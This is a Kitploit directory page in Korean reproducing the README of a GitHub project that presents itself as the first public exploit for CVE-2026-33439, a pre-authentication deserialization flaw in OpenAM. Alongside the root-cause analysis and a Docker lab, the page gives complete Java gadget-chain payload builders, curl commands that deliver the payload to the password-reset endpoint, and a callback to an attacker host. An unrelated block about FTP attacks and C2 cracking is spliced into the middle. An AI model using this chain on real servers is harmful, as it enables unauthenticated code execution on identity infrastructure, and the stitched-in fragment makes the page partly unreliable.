Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33439 — CVE-2026-33439(OpenAM jato.clientSession 역직렬화를 통한 사전 인증 RCE)에 대한 최초의 공개 익스플로잇 구현. | Kitploit
도구/GitHubGitHub/themalwareguardian/cve-2026-33439
Vulnerability AnalysisCode AnalysisExploitationReverse EngineeringWeb Application ExploitationMalware AnalysisPenetration TestingLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
2174개월 전아직 검토되지 않음
GitHub
themalwareguardian/cve-2026-33439

CVE-2026-33439

CVE-2026-33439(OpenAM jato.clientSession 역직렬화를 통한 사전 인증 RCE)에 대한 최초의 공개 익스플로잇 구현.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🐞 CVE-2026-33439: jato.clientSession 역직렬화를 통한 OpenAM 사전 인증 RCE

인간의 통찰력 + AI 지원 분석 + 리버스 엔지니어링 + 권고 → 익스플로잇

CVE-2026-33439에 대한 최초의 공개 익스플로잇 구현

ForgeRock OpenAM의 인증되지 않은 Java 역직렬화 취약점으로, 조작된 JATO 세션 객체를 통해 완전한 원격 코드 실행이 가능합니다. 같은 강물이 두 번 흐릅니다. 그들은 jato.pageSession(CVE-2021-35464)을 수정하고 jato.clientSession(CVE-2026-33439)을 잊어버렸습니다. 역직렬화 가젯 체인은 자격 증명을 요구하지 않습니다.




📑 목차

  • 개요
  • CVE-2021-35464 계보
  • CVE-2026-33439 취약점 분석
    📂
    • 근본 원인
    • 영향받는 버전
    • 공격 표면
  • 가젯 체인
    📂
    • Java 역직렬화 101
    • Encoder.decodeHttp64
    • 가젯 체인 내부 구조
  • 랩 환경
    📂
    • 아키텍처
    • 설정
    • 접근
  • 익스플로잇
    📂
    • 사전 요구 사항
    • 발견 및 정찰
    • 인코딩 이해하기
    • 익스플로잇 구축
    • 페이로드 전달
    • PoC 도구 사용법
  • 완화
  • 참고 자료



  • 🎯 개요

    CVE-2026-33439는 OpenIdentityPlatform OpenAM(16.0.6 이전 버전)의 사전 인증 원격 코드 실행 취약점입니다. 이 취약점은 ClientSession.deserializeAttributes() 내부에서 jato.clientSession HTTP 파라미터에 대한 안전하지 않은 Java 역직렬화로 인해 발생하며, 이는 클래스 화이트리스트가 적용되지 않은 Encoder.deserialize() → ApplicationObjectInputStream.readObject()를 호출합니다.

    인증되지 않은 공격자는 <jato:form> 태그를 렌더링하는 JSP가 있는 JATO ViewBean 엔드포인트에 직렬화된 Java 객체가 포함된 조작된 HTTP GET 또는 POST 요청을 전송합니다. 서버는 요청을 수신하면 검증 없이 객체를 역직렬화하여 OpenAM WAR에 번들된 클래스만으로 구성된 가젯 체인(외부 라이브러리 불필요)을 트리거하고, 애플리케이션 프로세스 사용자 권한으로 임의의 OS 명령을 실행합니다.

    CVSS 4.0 벡터: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 치명적

    CVSS 3.1 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 치명적




    🧬 CVE-2021-35464 계보

    이 취약점은 CVE-2021-35464 이후 적용된 불완전한 수정으로 인한 직접적인 회귀입니다.

    • CVE-2021-35464 (ForgeRock AM / OpenAM): jato.pageSession 파라미터의 안전하지 않은 역직렬화를 통한 사전 인증 RCE. 실제 환경에서 널리 악용되었으며 CISA KEV 목록에 등재됨. 수정은 ConsoleViewBeanBase.deserializePageAttributes() 내부에 WhitelistObjectInputStream을 도입했습니다. 이는 객체를 인스턴스화하기 전에 모든 클래스 이름을 하드코딩된 약 40개의 안전한 클래스 허용 목록과 대조 확인하는 사용자 정의 ObjectInputStream 하위 클래스입니다.

    • CVE-2026-33439 (OpenAM ≤ 16.0.5): 수정은 jato.pageSession에만 적용되었습니다. ClientSession.deserializeAttributes()에서 완전히 별도의 코드 경로로 처리되는 jato.clientSession 파라미터는 패치된 적이 없으며, 클래스 화이트리스트 없이 ObjectInputStream.readObject()를 호출하는 필터링되지 않은 Encoder.deserialize() → ApplicationObjectInputStream을 계속 사용합니다.

    공격 프리미티브는 동일합니다. 역직렬화 싱크가 다릅니다. 바뀐 것은 파라미터 이름뿐입니다.




    🔬 CVE-2026-33439 취약점 분석

    근본 원인

    JATO는 UI 뷰 상태를 jato.pageSession 및 jato.clientSession이라는 HTTP 파라미터로 직렬화합니다. 요청이 도착하면 OpenAM은 응답을 렌더링하기 전에 UI 상태를 복원하기 위해 이러한 파라미터를 역직렬화합니다. 두 파라미터는 완전히 다른 코드 경로를 따릅니다.

    jato.pageSession에 대한 패치된 코드 경로(CVE-2021-35464 이후):```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

    root@kitploit:~
    jato.clientSession에 대한 패치되지 않은 코드 경로(취약):```java
    // ClientSession.java
    protected ClientSession(RequestContext context) {
    	this.encodedSessionString =
    		context.getRequest().getParameter("jato.clientSession");
    }
    
    protected void deserializeAttributes() {
    	if (this.encodedSessionString != null
    		&& this.encodedSessionString.trim().length() > 0) {
    		this.setAttributes(
    			(Map) Encoder.deserialize(
    				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
    				Encoder.decodeHttp64(this.encodedSessionString), false)
    		);
    	}
    }
    

    Encoder.deserialize() 는 클래스 필터링이 없는 ObjectInputStream 의 하위 클래스인 일반적인 ApplicationObjectInputStream 을 생성합니다. JVM 클래스패스의 모든 클래스가 인스턴스화될 수 있습니다. JSP 렌더링 중 < jato:form > 태그가 렌더링될 때마다 역직렬화가 트리거됩니다:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

    도구 다운로드
    root@kitploit:~
    ---
    
    <div id="vulnerability_affected"/>
    
    ### ***영향받는 버전***
    
    | 제품                          | 취약 버전                                        | 수정 버전 |
    |-----------------------------|-------------------------------------------------|--------|
    | OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
    | ForgeRock AM (다운스트림)     | 패치 계보에 따라 잠재적으로 영향받음              | -      |
    
    ---
    
    <div id="vulnerability_attacksurface"/>
    
    ### ***공격 표면***
    
    JSP에 *< jato:form >* 태그를 포함하는 모든 JATO ViewBean 엔드포인트는 인증 전에 악용 가능합니다:
    
    | Endpoint                  | 용도                                   |
    |---------------------------|--------------------------------------|
    | /ui/PWResetUserValidation | 비밀번호 재설정 - 사용자 ID 입력       |
    | /ui/PWResetQuestion       | 비밀번호 재설정 - 보안 질문            |
    
    비밀번호 재설정 엔드포인트가 기본 대상이며, 설계상 공개적으로 접근 가능하고 *< jato:form >* 태그를 반드시 렌더링합니다.
    
    
    
    ---
    ---
    ---
    
    
    
    <div id="gadgetchain"/>
    
    ## ***⚙️ 가젯 체인***
    
    <div id="gadgetchain_deserialization101"/>
    
    ### ***Java 역직렬화 101***
    
    Java가 바이트 스트림에서 객체를 역직렬화할 때, 중첩 객체를 포함하여 재구성하는 모든 클래스에서 readObject()를 호출합니다. 공격자가 바이트 스트림을 제어하고 readObject()가 코드 실행으로 이어지는 일련의 메서드 호출을 트리거하는 객체를 주입하면 가젯 체인 RCE를 얻을 수 있습니다.
    
    CVE-2026-33439의 핵심: 가젯 체인은 외부 라이브러리가 필요 없습니다. 체인의 모든 클래스는 OpenAM WAR 자체에 포함되어 있습니다: `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>이로 인해 이 취약점은 기본 OpenAM 배포 어디서나 악용 가능합니다.</u>
    
    ---
    
    <div id="gadgetchain_encoding"/>
    
    ### ***Encoder.decodeHttp64***
    
    이것이 익스플로잇이 작동하도록 만드는 중요한 세부 사항입니다. `jato-shaded-16.0.5.jar`의 `Encoder` 클래스는 Java의 URL-safe base64 인코더/디코더를 사용합니다. 표준 base64도, 사용자 지정 문자 치환 방식도 아닙니다.
    
    Encoder.class를 디컴파일하여 확인됨:```bash
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    

    🖥️ 주요 기능

    • 수동 FTP 공격 - 로그인/명령 주입 취약점 테스트.
    • Webhook을 통한 크래킹 - C2를 통한 비밀번호 크래킹.
    • 지원되는 공격 유형 - C2 및 서버 기반 크래킹.
    • 더 많은 기능 - 크래킹을 위한 다양한 추가 기능.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
    root@kitploit:~
    URL-safe base64는 '+' 대신 '-'를, '/' 대신 '_'를 사용하며, '=' 패딩이 없습니다. 올바른 인코딩은 다음과 같습니다:```java
    Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
    

    다른 인코딩(표준 base64 또는 수동 문자 치환 포함)은 decodeHttp64()가 예외를 던지거나 손상된 바이트를 생성하게 하여, HTTP 응답에 오류 없이 조용히 역직렬화를 중단시킵니다.


    가젯 체인 내부 구조

    OpenAM WAR의 클래스만 사용하는 전체 체인:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

    root@kitploit:~
    ### 샘플 입력/출력:```bash
    # Extract Column$ColumnComparator.class from the JAR
    jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
    
    # Decompile and inspect the compare() method, reveals getTable() call before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    
    # Extract and inspect Column.class, reveals getProperty() and setTable() methods
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
    

    중요한 세부 사항: "Column$ColumnComparator.compare()"는 "column.getTable().isSortedAscending()"을 호출한 후 "getProperty()"를 호출합니다. "getTable()"이 null을 반환하면 "TemplatesImpl"에 도달하기 전에 체인이 "NullPointerException"으로 중단됩니다. "Table" 객체는 직렬화 전에 "column.setTable(table)"을 통해 "Column"과 연결되어야 합니다.




    🧪 실험실 환경

    아키텍처```

    ┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

    root@kitploit:~
    | 컨테이너             | 이미지                                  | 역할              |
    |-------------------------|------------------------------------------|-------------------|
    | cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | 취약 대상          |
    | cve_2026_33439_attacker | debian:bookworm-slim                     | 공격 머신          |
    
    > 이 랩은 Java 21과 함께 Tomcat 10.1.52에 배포된 공식 OpenAM 16.0.5 WAR을 사용합니다 - GitHub Security Advisory에 설명된 정확한 환경입니다.
    
    ---
    
    <div id="lab_setup"/>
    
    ### ***설정***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
    </p>
    
    **1단계 - 공식 OpenAM 16.0.5 WAR 다운로드**```powershell
    # From PowerShell on the host
    cd "01 Vulnerable"
    
    Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
    

    2단계 - 컨테이너 시작하기```powershell docker compose up -d

    root@kitploit:~
    **3단계 - 브라우저에서 OpenAM 구성**
    
    "http://localhost:8080/openam"으로 이동하여 "Create Default Configuration"을 클릭하고 다음을 설정합니다:
    
    | 필드                           | 값            |
    |---------------------------------|---------------|
    | 기본 사용자 비밀번호 (amadmin) | Lab@dm1n2026! |
    | 에이전트 비밀번호               | secret12      |
    
    구성이 완료될 때까지 약 2분 정도 기다립니다.
    
    **4단계 - 비밀번호 재설정이 활성화되어 있는지 확인**
    
    amadmin으로 로그인 → 구성 → 전역 서비스 → 비밀번호 재설정 → 토글 활성화 → 변경 사항 저장.
    
    **5단계 - 악용 가능한 JSP 엔드포인트 식별**
    
    WAR에서 *< jato:form >* 태그를 포함하는 모든 JSP를 찾으세요. jato.clientSession 역직렬화가 트리거되는 엔드포인트는 다음과 같습니다:```powershell
    # Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
    docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
    
    # Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
    docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
    

    JSP 소스를 검사하여 jato.clientSession이 렌더링된 HTML에 나타나지 않을 수 있는 이유를 파악하십시오. <jato:form> 태그는 <jato:content name="resetPage"> 안에 래핑되어 있으며, 이는 ViewBean이 해당 블록을 활성화할 때만 렌더링됩니다. 그러나 JSP 상단의 <jato:useViewBean>은 렌더링할 블록을 결정하기 전에 항상 ViewBean을 인스턴스화하고 jato.clientSession을 처리합니다. 역직렬화는 그 시점에 무조건 발생합니다:```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

    root@kitploit:~
    ## 파일 메타데이터 ⸻ Mantis가 메타데이터 추출 등을 위해 추출하고 분석한 파일```jsp
    <%-- Always instantiates ViewBean and processes jato.clientSession --%>
    <jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
    
    	<%-- Only renders if ViewBean activates this block --%>
    	<jato:content name="resetPage">
    		<jato:form name="PWResetUserValidation" method="post">
    			<%-- jato.clientSession hidden field appears here --%>
    		</jato:form>
    	</jato:content>
    
    </jato:useViewBean>
    

    6단계 - 인증 전에 엔드포인트에 도달할 수 있는지 확인```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

    root@kitploit:~
    ---
    
    <div id="lab_access"/>
    
    ### ***접근***```powershell
    # Drop into the attacker container
    docker exec -it cve_2026_33439_attacker bash
    

    분해:```powershell

    stop, keep volumes

    docker compose down

    full wipe

    docker compose down -v

    root@kitploit:~
    ---
    ---
    ---
    
    
    
    <div id="exploitation"/>
    
    ## ***💣 악용***
    
    <div id="exploitation_prerequisites"/>
    
    ### ***사전 요구 사항***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
    </p>
    
    | 요구 사항            | 참고 사항                                                                                                                            |
    |------------------------|----------------------------------------------------------------------------------------------------------------------------------|
    | JDK 21 (javac)         | OpenAM이 실행 중인 JVM 버전과 일치해야 합니다. JRE만으로는 충분하지 않으며, EvilTranslet과 PayloadBuilder를 컴파일하려면 javac가 필요합니다. |
    | openam-core-16.0.5.jar | OpenAM 컨테이너에서 복사 - Column, Column$ColumnComparator, PropertyUtils 포함                                           |
    | xalan-2.7.3.jar        | OpenAM 컨테이너에서 복사 - TemplatesImpl, TransformerFactoryImpl 포함                                                    |
    | serializer-2.7.3.jar   | OpenAM 컨테이너에서 복사 - EvilTranslet에서 사용하는 SerializationHandler 포함                                                |
    | click-nodeps-2.3.0.jar | OpenAM 컨테이너에서 복사 - Table 포함 (Column$ColumnComparator에 필요)                                              |
    | click-extras-2.3.0.jar | OpenAM 컨테이너에서 복사 - click-nodeps의 전이적 의존성                                                             |
    | jato-shaded-16.0.5.jar | OpenAM 컨테이너에서 복사 - decodeHttp64가 포함된 Encoder 포함                                                                |
    | servlet-api.jar        | Tomcat lib/에서 복사 - Table 직렬화에 필요한 Jakarta Servlet API                                                |
    | Python 3.8+            | PoC 스크립트용                                                                                                               |
    | requests               | pip install requests                                                                                                             |
    
    ---
    
    <div id="exploitation_discovery"/>
    
    ### ***탐색 및 정찰***
    
    **1단계 - OpenAM이 실행 중인지 확인하고 버전 식별**```
    http://localhost:8080/openam/ccversion/Version
    

    2단계 - JATO ViewBean 엔드포인트 탐색

    ---```bash for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
    "http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe") echo "[HTTP ${STATUS}] ${ENDPOINT}" done

    root@kitploit:~
    **3단계 - jato.clientSession이 처리되는지 확인**```bash
    curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
    

    응답에는 렌더링된 HTML에 "jato.defaultCommand"와 "jato.pageSession"이 포함되지만 "jato.clientSession"은 포함되지 않습니다. 이는 예상된 동작입니다. "jato.clientSession" 필드는 < jato:content name="resetPage" > 내부에만 나타나며, 해당 블록을 활성화하려면 ViewBean이 필요합니다. 그러나 *< jato:useViewBean >*는 항상 ViewBean을 인스턴스화하고 어떤 블록을 렌더링할지 결정하기 전에 "jato.clientSession"을 처리합니다. 역직렬화는 해당 필드가 최종 HTML 출력에 나타나는지 여부와 관계없이 인스턴스화 시점에 트리거됩니다. 응답에 "jato.pageSession"이 존재한다는 것은 이 엔드포인트에서 JATO 직렬화가 활성화되어 있으며 "jato.clientSession"이 다음 요청에서 역직렬화된다는 것을 확인시켜 줍니다.


    인코딩 이해하기

    익스플로잇을 구축하기 전에 JATO JAR을 디컴파일하여 "Encoder.decodeHttp64()"가 사용하는 인코딩을 검증해야 합니다. 이 단계는 필수적입니다. 잘못된 인코딩을 사용하면 역직렬화가 조용히 실패합니다.

    1단계 - OpenAM에서 공격자 작업 공간으로 필요한 모든 JAR 복사

    호스트의 PowerShell에서:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/

    root@kitploit:~
    **2단계 - 인코더를 디컴파일하여 디코딩 방법 확인**
    
    공격자 컨테이너 내부에서:```bash
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    

    Expected output confirming URL-safe base64:

    →

    URL-safe base64를 확인하는 예상 출력:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

    root@kitploit:~
    **3단계 - Column$ColumnComparator를 디컴파일하여 가젯 체인 경로를 검증**```bash
    # Extract Column and ColumnComparator
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    # Verify compare() calls getTable() before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    

    이것은 Column.getTable()이 null이 아닌 Table 객체를 반환해야 함을 확인한다. 그렇지 않으면 compare()가 getProperty() → TemplatesImpl에 도달하기 전에 NullPointerException을 발생시킨다.


    Exploit 구축

    모든 명령은 공격자 컨테이너 내부에서 실행한다.

    1단계 - 클래스패스 설정```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

    root@kitploit:~
    **2단계 - EvilTranslet.java 작성 및 컴파일**
    
    EvilTranslet는 TemplatesImpl에 필요한 AbstractTranslet을 상속하며, newInstance() 호출 시 자동으로 실행되는 정적 초기화자에서 명령을 실행합니다.```bash
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    javac -cp $CP /work/EvilTranslet.java
    

    단계 3 - PayloadBuilder.java 작성 및 컴파일

    PayloadBuilder는 gadget chain을 구성하고 URL-safe base64로 인코딩된 직렬화된 payload를 출력합니다.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;

    import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;

    public class PayloadBuilder {

    root@kitploit:~
    // Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
    static String encodeHttp64(byte[] data) {
    	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
    }
    
    static void setField(Object obj, String name, Object value) throws Exception {
    	Field f = obj.getClass().getDeclaredField(name);
    	f.setAccessible(true);
    	f.set(obj, value);
    }
    
    static void setFieldPQ(Object obj, String name, Object value) throws Exception {
    	Field f = PriorityQueue.class.getDeclaredField(name);
    	f.setAccessible(true);
    	f.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception {
    	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
    
    	// Step 1 - TemplatesImpl with EvilTranslet bytecode
    	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
    	TemplatesImpl templates = new TemplatesImpl();
    	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
    	setField(templates, "_name",          "EvilTranslet");
    	setField(templates, "_tfactory",      new TransformerFactoryImpl());
    	setField(templates, "_transletIndex", 0);
    
    	// Step 2 - Column with Table associated
    	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
    	Table table = new Table();
    	Column column = new Column("outputProperties");
    	column.setTable(table);
    
    	@SuppressWarnings("unchecked")
    	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
    
    	// Step 3 - PriorityQueue as deserialization trigger
    	// readObject() -> heapify() -> siftDown() -> comparator.compare()
    	// Size must be >= 2 for heapify to call compare()
    	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
    	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
    	setFieldPQ(queue, "size",  2);
    
    	// Step 4 - Serialize and URL-safe base64 encode
    	ByteArrayOutputStream baos = new ByteArrayOutputStream();
    	ObjectOutputStream oos = new ObjectOutputStream(baos);
    	oos.writeObject(queue);
    	oos.close();
    
    	System.out.println(encodeHttp64(baos.toByteArray()));
    }
    

    } EOF

    javac -cp $CP /work/PayloadBuilder.java

    root@kitploit:~
    **Step 4 - 페이로드 생성**```bash
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
    
    # Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
    head -c 10 /work/payload.b64
    

    페이로드 전달

    대역 외 HTTP 콜백으로 RCE 확인

    터미널 1 - 리스너:``` docker exec -it cve_2026_33439_attacker bash

    nc -lvnp 9999

    root@kitploit:~
    터미널 2 - 콜백 페이로드 생성 및 전송:```
    docker exec -it cve_2026_33439_attacker bash
    
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
    
    PAYLOAD=$(cat /work/payload_http.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    RCE가 작동한다면, 터미널 1은 OpenAM 서버로부터 들어오는 HTTP 연결을 수신합니다:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /

    root@kitploit:~
    **파일 아티팩트 작성**
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
    </p>```
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
    
    PAYLOAD=$(cat /work/payload_file.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    PowerShell에서 확인:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned

    root@kitploit:~
    **리버스 셸**
    
